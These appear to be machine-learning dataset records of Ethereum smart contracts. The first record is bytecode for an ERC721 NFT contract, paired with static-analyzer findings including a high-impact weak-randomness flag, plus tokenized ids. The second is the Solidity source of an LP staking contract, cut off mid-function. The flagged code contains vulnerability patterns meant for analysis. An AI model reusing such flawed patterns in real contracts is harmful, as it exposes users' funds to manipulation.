000000000000000000000000000081526004016131ec90614ee1565b60405180910390fd5b6132016000838361341f565b6001606860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132519190615341565b92505081905550816067600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461331260008383613424565b5050565b6000604260fc5481613351577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b049050604260fc6000828254019250508190555060428161337291906153c8565b611a0a61337f91906154da565b8261338a91906156e3565b60fb6000838152602001908152602001600020819055505050565b60007f2a55205a000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480613418575061341782613c48565b5b9050919050565b505050565b505050565b60606000600283600261343c91906153c8565b6134469190615341565b67ffffffffffffffff811115613485577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156134b75781602001600182028036833780820191505090505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110613515577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061359f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600060018460026135df91906153c8565b6135e99190615341565b90505b60018111156136d5577f3031323334353637383961626364656600000000000000000000000000000000600f861660108110613651577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b82828151811061368e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c9450806136ce906155e9565b90506135ec565b5060008414613719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161371090614e81565b60405180910390fd5b8091505092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600060019054906101000a900460ff16613795576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161378c90615121565b60405180910390fd5b81606590805190602001906137ab929190614143565b5080606690805190602001906137c2929190614143565b505050565b60006137e88473ffffffffffffffffffffffffffffffffffffffff16613723565b15613951578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026138116124cb565b8786866040518563ffffffff1660e01b81526004016138339493929190614db4565b602060405180830381600087803b15801561384d57600080fd5b505af192505050801561387e57506040513d601f19601f8201168201806040525081019061387b91906146ea565b60015b613901573d80600081146138ae576040519150601f19603f3d011682016040523d82523d6000602084013e6138b3565b606091505b506000815114156138f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138f090614ea1565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613956565b600190505b949350505050565b61396661424f565b61396e61424f565b6000805b848110156139cf57600061399960fb600084815260200190815260200160002054856139da565b905060006042826139aa9190615285565b90506139b885838387613d2a565b9350505080806139c790615676565b915050613972565b508192505050919050565b6000808390506000805b6002811015613b835760005b60026042611a0a613a019190615397565b613a0b91906153c8565b811015613b35576000868260ca8110613a4d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201516000015190506000878360ca8110613a93577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015160200151905081600f0b85600f0b1215613b0d5760008686613aba9190615285565b905082600f0b81600f0b1215613aeb57806fffffffffffffffffffffffffffffffff16975050505050505050613ba7565b8583613af79190615422565b87613b029190615422565b965081955050613b20565b80600f0b85600f0b1215613b1f578094505b5b50508080613b2d90615676565b9150506139f0565b50611a0a600f0b8383613b489190615285565b600f0b12613b705781611a0a613b5e9190615422565b83613b699190615422565b9250600091505b8080613b7b90615676565b9150506139e4565b508181613b909190615285565b6fffffffffffffffffffffffffffffffff16925050505b92915050565b60008082905060005b8451811015613c3d576000858281518110613bfa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519050808311613c1c57613c1583826140a3565b9250613c29565b613c2681846140a3565b92505b508080613c3590615676565b915050613bb6565b508091505092915050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480613d1357507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80613d235750613d22826140ba565b5b9050919050565b60008082905060005b83811015613f3a576000878260ca8110613d76577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201516000015190506000888360ca8110613dbc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015160200151905081600f0b88600f0b128015613ddb57508584145b15613de4578293505b81600f0b88600f0b128015613dfe575081600f0b87600f0b135b80613e21575087600f0b82600f0b13158015613e20575080600f0b87600f0b13155b5b80613e42575080600f0b88600f0b128015613e41575080600f0b87600f0b135b5b15613f255760008888613e559190615422565b9050613e618984614124565b98508282613e6f9190615422565b818a613e7b9190615285565b613e859190615285565b975060405180604001604052807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600f0b81526020017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600f0b8152508a8560ca8110613f1b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020181905250505b50508080613f3290615676565b915050613d33565b5060008390505b81811115613fe75786600182613f5791906154da565b60ca8110613f8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151878260ca8110613fcc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201819052508080613fdf906155e9565b915050613f41565b50604051806040016040528086600f0b815260200161400886611a0a614124565b600f0b815250868260ca8110614047577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020181905250828061405a90615676565b935050611a0a600f0b84600f0b131561409757614087866000611a0a876140819190615422565b86613d2a565b50828061409390615676565b9350505b82915050949350505050565b600082600052816020526040600020905092915050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600081600f0b83600f0b12614139578161413b565b825b905092915050565b82805461414f90615613565b90600052602060002090601f01602090048101928261417157600085556141b8565b82601f1061418a57805160ff19168380011785556141b8565b828001600101855582156141b8579182015b828111156141b757825182559160200191906001019061419c565b5b5090506141c5919061427d565b5090565b8280546141d590615613565b90600052602060002090601f0160209004810192826141f7576000855561423e565b82601f1061421057803560ff191683800117855561423e565b8280016001018555821561423e579182015b8281111561423d578235825591602001919060010190614222565b5b50905061424b919061427d565b5090565b60405180611940016040528060ca905b61426761429a565b81526020019060019003908161425f5790505090565b5b8082111561429657600081600090555060010161427e565b5090565b60405180604001604052806000600f0b81526020016000600f0b81525090565b60006142cd6142c8846151fc565b6151d7565b9050828152602081018484840111156142e557600080fd5b6142f08482856155a7565b509392505050565b60008135905061430781615e7e565b92915050565b60008083601f84011261431f57600080fd5b8235905067ffffffffffffffff81111561433857600080fd5b60208301915083602082028301111561435057600080fd5b9250929050565b60008135905061436681615e95565b92915050565b60008135905061437b81615eac565b92915050565b60008135905061439081615ec3565b92915050565b6000815190506143a581615ec3565b92915050565b600082601f8301126143bc57600080fd5b81356143cc8482602086016142ba565b91505092915050565b60008083601f8401126143e757600080fd5b8235905067ffffffffffffffff81111561440057600080fd5b60208301915083600182028301111561441857600080fd5b9250929050565b60008135905061442e81615eda565b92915050565b60006020828403121561444657600080fd5b6000614454848285016142f8565b91505092915050565b6000806040838503121561447057600080fd5b600061447e858286016142f8565b925050602061448f858286016142f8565b9150509250929050565b6000806000606084860312156144ae57600080fd5b60006144bc868287016142f8565b93505060206144cd868287016142f8565b92505060406144de8682870161441f565b9150509250925092565b600080600080608085870312156144fe57600080fd5b600061450c878288016142f8565b945050602061451d878288016142f8565b935050604061452e8782880161441f565b925050606085013567ffffffffffffffff81111561454b57600080fd5b614557878288016143ab565b91505092959194509250565b6000806040838503121561457657600080fd5b6000614584858286016142f8565b925050602061459585828601614357565b9150509250929050565b600080604083850312156145b257600080fd5b60006145c0858286016142f8565b92505060206145d18582860161441f565b9150509250929050565b6000806000604084860312156145f057600080fd5b600084013567ffffffffffffffff81111561460a57600080fd5b6146168682870161430d565b9350935050602061462986828701614357565b9150509250925092565b60006020828403121561464557600080fd5b600061465384828501614357565b91505092915050565b60006020828403121561466e57600080fd5b600061467c8482850161436c565b91505092915050565b6000806040838503121561469857600080fd5b60006146a68582860161436c565b92505060206146b7858286016142f8565b9150509250929050565b6000602082840312156146d357600080fd5b60006146e184828501614381565b91505092915050565b6000602082840312156146fc57600080fd5b600061470a84828501614396565b91505092915050565b6000806020838503121561472657600080fd5b600083013567ffffffffffffffff81111561474057600080fd5b61474c858286016143d5565b92509250509250929050565b60006020828403121561476a57600080fd5b60006147788482850161441f565b91505092915050565b6000806040838503121561479457600080fd5b60006147a28582860161441f565b92505060206147b38582860161441f565b9150509250929050565b6147c68161550e565b82525050565b6147dd6147d88261550e565b6156bf565b82525050565b6147ec81615520565b82525050565b6147fb8161552c565b82525050565b600061480c82615242565b6148168185615258565b93506148268185602086016155b6565b61482f816157d0565b840191505092915050565b60006148458261524d565b61484f8185615269565b935061485f8185602086016155b6565b614868816157d0565b840191505092915050565b600061487e8261524d565b614888818561527a565b93506148988185602086016155b6565b80840191505092915050565b600081546148b181615613565b6148bb818661527a565b945060018216600081146148d657600181146148e75761491a565b60ff1983168652818601935061491a565b6148f08561522d565b60005b83811015614912578154818901526001820191506020810190506148f3565b838801955050505b50505092915050565b6000614930602083615269565b915061493b826157ee565b602082019050919050565b6000614953603283615269565b915061495e82615817565b604082019050919050565b6000614976602583615269565b915061498182615866565b604082019050919050565b6000614999601c83615269565b91506149a4826158b5565b602082019050919050565b60006149bc600383615269565b91506149c7826158de565b602082019050919050565b60006149df602483615269565b91506149ea82615907565b604082019050919050565b6000614a02601983615269565b9150614a0d82615956565b602082019050919050565b6000614a25600383615269565b9150614a308261597f565b602082019050919050565b6000614a48602c83615269565b9150614a53826159a8565b604082019050919050565b6000614a6b603883615269565b9150614a76826159f7565b604082019050919050565b6000614a8e602a83615269565b9150614a9982615a46565b604082019050919050565b6000614ab1600383615269565b9150614abc82615a95565b602082019050919050565b6000614ad4602983615269565b9150614adf82615abe565b604082019050919050565b6000614af7602e83615269565b9150614b0282615b0d565b604082019050919050565b6000614b1a600383615269565b9150614b2582615b5c565b602082019050919050565b6000614b3d602083615269565b9150614b4882615b85565b602082019050919050565b6000614b60602c83615269565b9150614b6b82615bae565b604082019050919050565b6000614b8360058361527a565b9150614b8e82615bfd565b600582019050919050565b6000614ba6600383615269565b9150614bb182615c26565b602082019050919050565b6000614bc9600483615269565b9150614bd482615c4f565b602082019050919050565b6000614bec602183615269565b9150614bf782615c78565b604082019050919050565b6000614c0f603183615269565b9150614c1a82615cc7565b604082019050919050565b6000614c32602b83615269565b9150614c3d82615d16565b604082019050919050565b6000614c5560178361527a565b9150614c6082615d65565b601782019050919050565b6000614c78602a83615269565b9150614c8382615d8e565b604082019050919050565b6000614c9b601983615269565b9150614ca682615ddd565b602082019050919050565b6000614cbe60118361527a565b9150614cc982615e06565b601182019050919050565b6000614ce1602f83615269565b9150614cec82615e2f565b604082019050919050565b614d008161556f565b82525050565b614d0f8161559d565b82525050565b6000614d2182846147cc565b60148201915081905092915050565b6000614d3c82856148a4565b9150614d488284614873565b9150614d5382614b76565b91508190509392505050565b6000614d6a82614c48565b9150614d768285614873565b9150614d8182614cb1565b9150614d8d8284614873565b91508190509392505050565b6000602082019050614dae60008301846147bd565b92915050565b6000608082019050614dc960008301876147bd565b614dd660208301866147bd565b614de36040830185614d06565b8181036060830152614df58184614801565b905095945050505050565b6000604082019050614e1560008301856147bd565b614e226020830184614d06565b9392505050565b6000602082019050614e3e60008301846147e3565b92915050565b6000602082019050614e5960008301846147f2565b92915050565b60006020820190508181036000830152614e79818461483a565b905092915050565b60006020820190508181036000830152614e9a81614923565b9050919050565b60006020820190508181036000830152614eba81614946565b9050919050565b60006020820190508181036000830152614eda81614969565b9050919050565b60006020820190508181036000830152614efa8161498c565b9050919050565b60006020820190508181036000830152614f1a816149af565b9050919050565b60006020820190508181036000830152614f3a816149d2565b9050919050565b60006020820190508181036000830152614f5a816149f5565b9050919050565b60006020820190508181036000830152614f7a81614a18565b9050919050565b60006020820190508181036000830152614f9a81614a3b565b9050919050565b60006020820190508181036000830152614fba81614a5e565b9050919050565b60006020820190508181036000830152614fda81614a81565b9050919050565b60006020820190508181036000830152614ffa81614aa4565b9050919050565b6000602082019050818103600083015261501a81614ac7565b9050919050565b6000602082019050818103600083015261503a81614aea565b9050919050565b6000602082019050818103600083015261505a81614b0d565b9050919050565b6000602082019050818103600083015261507a81614b30565b9050919050565b6000602082019050818103600083015261509a81614b53565b9050919050565b600060208201905081810360008301526150ba81614b99565b9050919050565b600060208201905081810360008301526150da81614bbc565b9050919050565b600060208201905081810360008301526150fa81614bdf565b9050919050565b6000602082019050818103600083015261511a81614c02565b9050919050565b6000602082019050818103600083015261513a81614c25565b9050919050565b6000602082019050818103600083015261515a81614c6b565b9050919050565b6000602082019050818103600083015261517a81614c8e565b9050919050565b6000602082019050818103600083015261519a81614cd4565b9050919050565b60006020820190506151b66000830184614cf7565b92915050565b60006020820190506151d16000830184614d06565b92915050565b60006151e16151f2565b90506151ed8282615645565b919050565b6000604051905090565b600067ffffffffffffffff821115615217576152166157a1565b5b615220826157d0565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061529082615562565b915061529b83615562565b9250816f7fffffffffffffffffffffffffffffff038313600083121516156152c6576152c5615714565b5b817fffffffffffffffffffffffffffffffff800000000000000000000000000000000383126000831216156152fe576152fd615714565b5b828201905092915050565b60006153148261556f565b915061531f8361556f565b92508261ffff0382111561533657615335615714565b5b828201905092915050565b600061534c8261559d565b91506153578361559d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561538c5761538b615714565b5b828201905092915050565b60006153a28261559d565b91506153ad8361559d565b9250826153bd576153bc615743565b5b828204905092915050565b60006153d38261559d565b91506153de8361559d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561541757615416615714565b5b828202905092915050565b600061542d82615562565b915061543883615562565b9250827fffffffffffffffffffffffffffffffff800000000000000000000000000000000182126000841215161561547357615472615714565b5b826f7fffffffffffffffffffffffffffffff01821360008412161561549b5761549a615714565b5b828203905092915050565b60006154b18261556f565b91506154bc8361556f565b9250828210156154cf576154ce615714565b5b828203905092915050565b60006154e58261559d565b91506154f08361559d565b92508282101561550357615502615714565b5b828203905092915050565b60006155198261557d565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600081600f0b9050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156155d45780820151818401526020810190506155b9565b838111156155e3576000848401525b50505050565b60006155f48261559d565b9150600082141561560857615607615714565b5b600182039050919050565b6000600282049050600182168061562b57607f821691505b6020821081141561563f5761563e615772565b5b50919050565b61564e826157d0565b810181811067ffffffffffffffff8211171561566d5761566c6157a1565b5b80604052505050565b60006156818261559d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156156b4576156b3615714565b5b600182019050919050565b60006156ca826156d1565b9050919050565b60006156dc826157e1565b9050919050565b60006156ee8261559d565b91506156f98361559d565b92508261570957615708615743565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f544d470000000000000000000000000000000000000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4e42470000000000000000000000000000000000000000000000000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4e45470000000000000000000000000000000000000000000000000000000000600082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160008201527f647920696e697469616c697a6564000000000000000000000000000000000000602082015250565b7f4e594d0000000000000000000000000000000000000000000000000000000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f4f4f470000000000000000000000000000000000000000000000000000000000600082015250565b7f4e53434d00000000000000000000000000000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960008201527f6e697469616c697a696e67000000000000000000000000000000000000000000602082015250565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b7f455243323938313a20726f79616c7479206665652077696c6c2065786365656460008201527f2073616c65507269636500000000000000000000000000000000000000000000602082015250565b7f455243323938313a20696e76616c696420726563656976657200000000000000600082015250565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b615e878161550e565b8114615e9257600080fd5b50565b615e9e81615520565b8114615ea957600080fd5b50565b615eb58161552c565b8114615ec057600080fd5b50565b615ecc81615536565b8114615ed757600080fd5b50565b615ee38161559d565b8114615eee57600080fd5b5056fe68747470733a2f2f67686c73746573742e73332e616d617a6f6e6177732e636f6d2f6a736f6e2f68747470733a2f2f67686c7370726572657665616c2e73332e616d617a6f6e6177732e636f6d2f6a736f6e2f5368616c6c6f775f47726176652e6a736f6ea26469706673582212205aa1b86df01c5fd81f7a1dac11858c0c0c9a8e10a1bb59007b6d1f527d61b66464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2094, 2475, 11329, 2575, 2278, 2581, 2575, 2581, 2683, 2683, 2683, 2549, 11329, 2278, 2549, 2278, 2546, 2549, 2094, 22275, 2692, 22203, 2497, 2620, 2546, 2509, 2497, 2581, 2620, 7875, 24594, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 19204, 1013, 2691, 1013, 9413, 2278, 24594, 2620, 2487, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,314
0x968d355b668d00722649BDa454AD3cc5949CA1b6
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract AddChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 lastRewardBlock; // Last block number that ADDs distribution occurs. uint256 accAddPerShare; // Accumulated ADD per share, times 1e12. See below. bool isStopped; // represent either pool is farming or not uint256 fromBlock; // fromBlock represent block number from which reward is going to be governed uint256[] epochMultiplersValue; uint256[] epochMultiplers; } // The ADD TOKEN! IERC20 public addToken; // ADD tokens created per block. uint256 public addPerBlock; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. // Reward Multiplier for each of three pools event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor(IERC20 _addToken, uint256 _addPerBlock) public { addToken = _addToken; addPerBlock = _addPerBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } function setAddPerBlock(uint256 _addPerBlock) public onlyOwner { massUpdatePools(); addPerBlock = _addPerBlock; } function setPoolMultipler( uint256 _pid, uint256 _fromBlock, uint256 _toBlock, uint256 _actualMultiplier, bool _isStopped ) public onlyOwner { PoolInfo storage pool = poolInfo[_pid]; pool.fromBlock = _fromBlock; pool.epochMultiplers.push(_toBlock); pool.epochMultiplersValue.push(_actualMultiplier); pool.isStopped = _isStopped; } function add( IERC20 _lpToken, uint256 _fromBlock, uint256[] memory _epochMultiplers, uint256[] memory _epochMultiplersValue ) public onlyOwner { require(address(_lpToken) != address(0), "MC: _lpToken should not be address zero"); uint256 lastRewardBlock = block.number > _fromBlock ? block.number : _fromBlock; PoolInfo memory currentPool; currentPool.lpToken = _lpToken; currentPool.fromBlock = _fromBlock; currentPool.accAddPerShare = 0; currentPool.lastRewardBlock = lastRewardBlock; currentPool.isStopped = false; currentPool.epochMultiplers = _epochMultiplers; currentPool.epochMultiplersValue = _epochMultiplersValue; poolInfo.push(currentPool); } function updateMultiplierBlock( uint256 _pid, uint8 index, uint256 _toBlock ) public onlyOwner { PoolInfo storage pool = poolInfo[_pid]; pool.epochMultiplers[index] = _toBlock; } function updateMultiplierValue( uint256 _pid, uint8 index, uint256 value ) public onlyOwner { PoolInfo storage pool = poolInfo[_pid]; pool.epochMultiplersValue[index] = value; } function getMultiplier( uint256 _pid, uint256 _from, uint256 _to ) public view returns (uint256) { /** if farming ends but pools still have blocks to farm tokens, we will allow pools to farm token until each pool tokens farmed Example Lets say Staking started at block 1 and will ends at block 200,000 and we have two Pools 1st Pool Multiplier will run from block 1 to 200,000 with value 10x 2nd Pool Multiplier will run from block 1 to 200,000 with value 30x After few days, the state of pools is as follows 1 Pool Users have farmed tokens until block 150,000 2 Pool Users have farmed tokens until block 175,000 No body entere into pool from a long time and now the block over blockchain is 210,000 but the blocks pool 1 and 2 have not processed completely so we will allow both pool users to farm tokens until faming end as per block 200,000 however only one user can proceed with transaction as the last tranaction will fill up the pools */ PoolInfo storage pool = poolInfo[_pid]; // uint256 to = _to > pool.toBlock ? pool.toBlock : _to; uint256 poolMultiplierLength = poolInfo[_pid].epochMultiplers.length; uint256 sumOfMultiplier = 0; if ( _from >= pool.epochMultiplers[poolMultiplierLength-1]){ return _to.sub(_from); } for (uint256 index = 0; index < poolMultiplierLength; index++) { if(pool.epochMultiplers[index] > _to){ sumOfMultiplier = sumOfMultiplier.add(_to.sub(_from).mul(pool.epochMultiplersValue[index])); break; } else if ( _from < pool.epochMultiplers[index] && _to >= pool.epochMultiplers[index]){ sumOfMultiplier = sumOfMultiplier.add(pool.epochMultiplers[index].sub(_from).mul(pool.epochMultiplersValue[index])); _from = pool.epochMultiplers[index]; } } if ( _to > pool.epochMultiplers[poolMultiplierLength-1]){ sumOfMultiplier = sumOfMultiplier.add(_to.sub(_from)); } return sumOfMultiplier; } // View function to see pending ADDs on frontend. function pendingAdds(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accAddPerShare = pool.accAddPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(_pid, pool.lastRewardBlock, block.number); uint256 addReward = multiplier.mul(addPerBlock); accAddPerShare = accAddPerShare.add(addReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accAddPerShare).div(1e12).sub(user.rewardDebt); } // Deposit LP tokens to YaxisChef for YAX allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(pool.isStopped == false, "MC: Staking Ended, Please withdraw your tokens"); updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accAddPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { safeAddTransfer(msg.sender, pending); } } if (_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accAddPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from YaxisChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accAddPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { safeAddTransfer(msg.sender, pending); } if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.accAddPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock || pool.isStopped) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(_pid, pool.lastRewardBlock, block.number); uint256 addReward = multiplier.mul(addPerBlock); // minting is not required as we already have coins in contract pool.accAddPerShare = 